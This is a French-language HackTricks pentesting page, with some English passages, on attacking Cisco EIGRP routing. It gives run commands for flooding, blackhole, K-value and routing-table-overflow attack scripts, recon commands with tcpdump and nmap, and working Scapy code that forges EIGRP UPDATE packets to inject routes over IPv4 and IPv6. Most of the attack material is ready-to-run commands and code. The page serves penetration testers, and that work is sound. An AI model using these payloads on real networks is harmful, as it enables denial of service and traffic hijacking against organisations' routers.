EIGRP Attacks

Tip

Apprenez et pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).

Support HackTricks

Ceci est un résumé des attaques exposées dans https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9. Consultez-le pour plus d’informations.

Fake EIGRP Neighbors Attack

  • Objectif : Surcharger les CPU des routeurs en les inondant de paquets HELLO EIGRP, pouvant mener à une attaque de Denial of Service (DoS).
  • Outil : script helloflooding.py.
  • Exécution :
~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24
  • Paramètres :
  • --interface : Spécifie l’interface réseau, ex. eth0.
  • --as : Définit le numéro d’autonomous system EIGRP, ex. 1.
  • --subnet : Définit le sous-réseau cible, ex. 10.10.100.0/24.

EIGRP Blackhole Attack

  • Objectif : Perturber le flux de trafic en injectant une route fausse, conduisant à un blackhole où le trafic est dirigé vers une destination inexistante.
  • Outil : script routeinject.py.
  • Exécution :
~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32
  • Paramètres :
  • --interface : Spécifie l’interface du système de l’attaquant.
  • --as : Définit le numéro AS EIGRP.
  • --src : Définit l’adresse IP de l’attaquant.
  • --dst : Définit l’IP du sous-réseau cible.
  • --prefix : Définit le masque de l’IP du sous-réseau cible.

Abusing K-Values Attack

  • Objectif : Créer des perturbations continues et des reconnexions au sein du domaine EIGRP en injectant des K-values modifiées, résultant effectivement en une attaque DoS.
  • Outil : script relationshipnightmare.py.
  • Exécution :
~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100
  • Paramètres :
  • --interface : Spécifie l’interface réseau.
  • --as : Définit le numéro AS EIGRP.
  • --src : Définit l’adresse IP d’un routeur légitime.

Routing Table Overflow Attack

  • Objectif : Mettre à rude épreuve le CPU et la RAM du routeur en inondant la table de routage avec de nombreuses fausses routes.
  • Outil : script routingtableoverflow.py.
  • Exécution :
sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50
  • Paramètres :
  • --interface : Spécifie l’interface réseau.
  • --as : Définit le numéro AS EIGRP.
  • --src : Définit l’adresse IP de l’attaquant.

Remarques sur le protocole utiles pour les attaques

  • Les paquets HELLO transportent les K-values et les voisins ne se forment que lorsqu’ils correspondent. C’est la base des attaques de mismatch/rupture de relationship sur les K-values et pourquoi des K-values non appariées empêchent l’adjacence.
  • Le PARAMETER TLV (Type 0x0001) dans HELLO (et l’UPDATE initial) transporte les K-values et le Hold Time, donc des captures passives révèlent les valeurs exactes utilisées sur le segment.
  • EIGRP utilise le protocole IP 88, en multicast vers 224.0.0.10 en IPv4 et FF02::A en IPv6. Cela le rend facile à repérer avec tcpdump 'ip proto 88 or ip6 proto 88' avant de tenter un abus actif.
  • Les UPDATEs fiables sont ordonnés avec des champs de sequence / acknowledgement et des SEQUENCE TLVs. L’injection de routes en multicast à l’aveugle peut fonctionner dans des labs faibles, mais quand on émule un voisin réel il faut souvent suivre seq, ack, et la liste de pairs portée dans les SEQUENCE TLVs pour rester en phase avec la logique RTP.

Passive Recon Before Injection

Avant d’essayer d’injecter des routes, capturez un échange HELLO / UPDATE légitime et extrayez :

  • Numéro AS
  • K-values et Hold Time depuis le PARAMETER TLV
  • Authentification utilisée : none, MD5, ou HMAC-SHA-256
  • Adresse source du voisin et le sous-réseau/interface où EIGRP est actif
  • Software / TLV profile (SOFTWARE_VERSION, STUB, SEQUENCE) afin que vos paquets forgés ressemblent aux routeurs locaux

Commandes utiles:

# Passive sniffing
sudo tcpdump -ni eth0 'ip proto 88 or ip6 proto 88'

# Quick discovery and route enumeration on IPv4
sudo nmap --script broadcast-eigrp-discovery

# If you already know the AS
sudo nmap --script broadcast-eigrp-discovery --script-args broadcast-eigrp-discovery.as=100

Le broadcast-eigrp-discovery de Nmap fonctionne en envoyant un HELLO à 224.0.0.10 et en analysant les paquets UPDATE renvoyés, ce qui est utile pour énumérer les préfixes avant d’essayer une route injection plus intrusive.

Scapy Packet Crafting (Route Injection / Fake Neighbors)

Scapy fournit une couche contrib EIGRP avec des TLVs comme EIGRPParam et EIGRPIntRoute, ce qui suffit pour créer des UPDATEs pour route injection. Exemple adapté du script EIGRP route injection davidbombal/scapy :

from scapy.all import *
load_contrib("eigrp")

sendp(Ether()/IP(src="192.168.1.248", dst="224.0.0.10") /
EIGRP(opcode="Update", asn=100, seq=0, ack=0,
tlvlist=[EIGRPIntRoute(dst="192.168.100.0",
nexthop="192.168.1.248")]))

Le même repo inclut des scripts rapides “fake neighbor” qui sniff un vrai paquet EIGRP et le replayent avec un spoofed source IP pour créer des phantom neighbors (utile pour la pression sur le CPU / la table des voisins).

Scapy expose également des primitives utiles lorsque vous avez besoin d’une émulation de plus haute fidélité plutôt qu’un seul UPDATE :

  • EIGRPAuthData pour les adjacences authentifiées
  • EIGRPSeq pour la gestion de la séquence / réception conditionnelle
  • EIGRPStub pour reproduire le comportement de stub observé
  • EIGRPv6IntRoute / EIGRPv6ExtRoute pour IPv6 route injection

C’est important car la logique de transport fiable est souvent ce qui sépare un PoC jetable d’un fake neighbor qui survit suffisamment longtemps pour apprendre des routes et poison the topology.

EIGRP for IPv6

EIGRP for IPv6 est une famille d’adresses distincte transportée sur IPv6. Elle utilise toujours le format de paquet EIGRP / TLVs, mais s’active directement sur les interfaces et multicast vers FF02::A. Du point de vue offensif, cela signifie qu’un segment dual-stack peut exposer une surface d’attaque EIGRP même lorsque la partie IPv4 semble propre.

Important differences:

  • IPv6 EIGRP is enabled per interface (ipv6 eigrp <as>), not with IPv4-style network statements.
  • A router ID is still required, so sniffing an active segment usually reveals enough context to mimic a valid peer.
  • MD5 authentication exists for EIGRP for IPv6, and modern named mode deployments may also use HMAC-SHA-256, which blocks unauthenticated route injection.

Minimal Scapy example for IPv6 route injection:

from scapy.all import *
load_contrib("eigrp")

send(IPv6(src="fe80::250:56ff:feaa:1111", dst="ff02::a") /
EIGRP(opcode="Update", asn=100, seq=0, ack=0,
tlvlist=[EIGRPv6IntRoute(dst="2001:db8:dead:beef::",
prefixlen=64,
nexthop="fe80::250:56ff:feaa:1111")]),
iface="eth0")

Si le next hop IPv6 à l’intérieur du TLV de route est mis à zéro, les récepteurs retombent sur l’adresse source IPv6 dans l’en-tête du paquet. Cela rend le source spoofing et l’adressage link-local correct particulièrement importants lors des tests EIGRPv6.

  • Docs Scapy EIGRP (contrib): https://scapy.readthedocs.io/en/latest/api/scapy.contrib.eigrp.html
  • Exemples de scripts: https://github.com/davidbombal/scapy

Routopsy & NSE Helpers

  • Routopsy construit un laboratoire d’attaque de routeurs virtuels (FRRouting + Scapy) et inclut des attaques DRP que vous pouvez adapter pour des tests EIGRP. https://sensepost.com/blog/2020/routopsy-hacking-routing-with-routers/
  • Le NSE de Nmap dispose d’une petite bibliothèque eigrp pour l’analyse/génération d’un sous-ensemble de paquets EIGRP. https://nmap.org/nsedoc/lib/eigrp.html

Authentication Recon

  • Le mode nommé EIGRP prend en charge HMAC-SHA-256 authentication via authentication mode hmac-sha-256 .... Si activé, les paquets forgés doivent être authentifiés avec la clé correcte ; si non activé, le spoofing/l’injection est plus facile à valider.
  • Le RFC 7868 définit également les données d’authentification MD5 et SHA2-256 à l’intérieur de l’EIGRP AUTH TLV, ce qui explique pourquoi des captures passives indiquent rapidement si un blind spoof est réaliste ou si vous avez d’abord besoin du key material.
  • Sur EIGRP pour IPv6, Cisco prend aussi en charge MD5 authentication with key chains. Si plusieurs clés avec send/accept lifetimes sont configurées, le replay de trafic authentifié périmé devient moins fiable car la clé active peut tourner sans modifier le reste du profil d’adjacence.

Références

Tip

Apprenez et pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).

Support HackTricks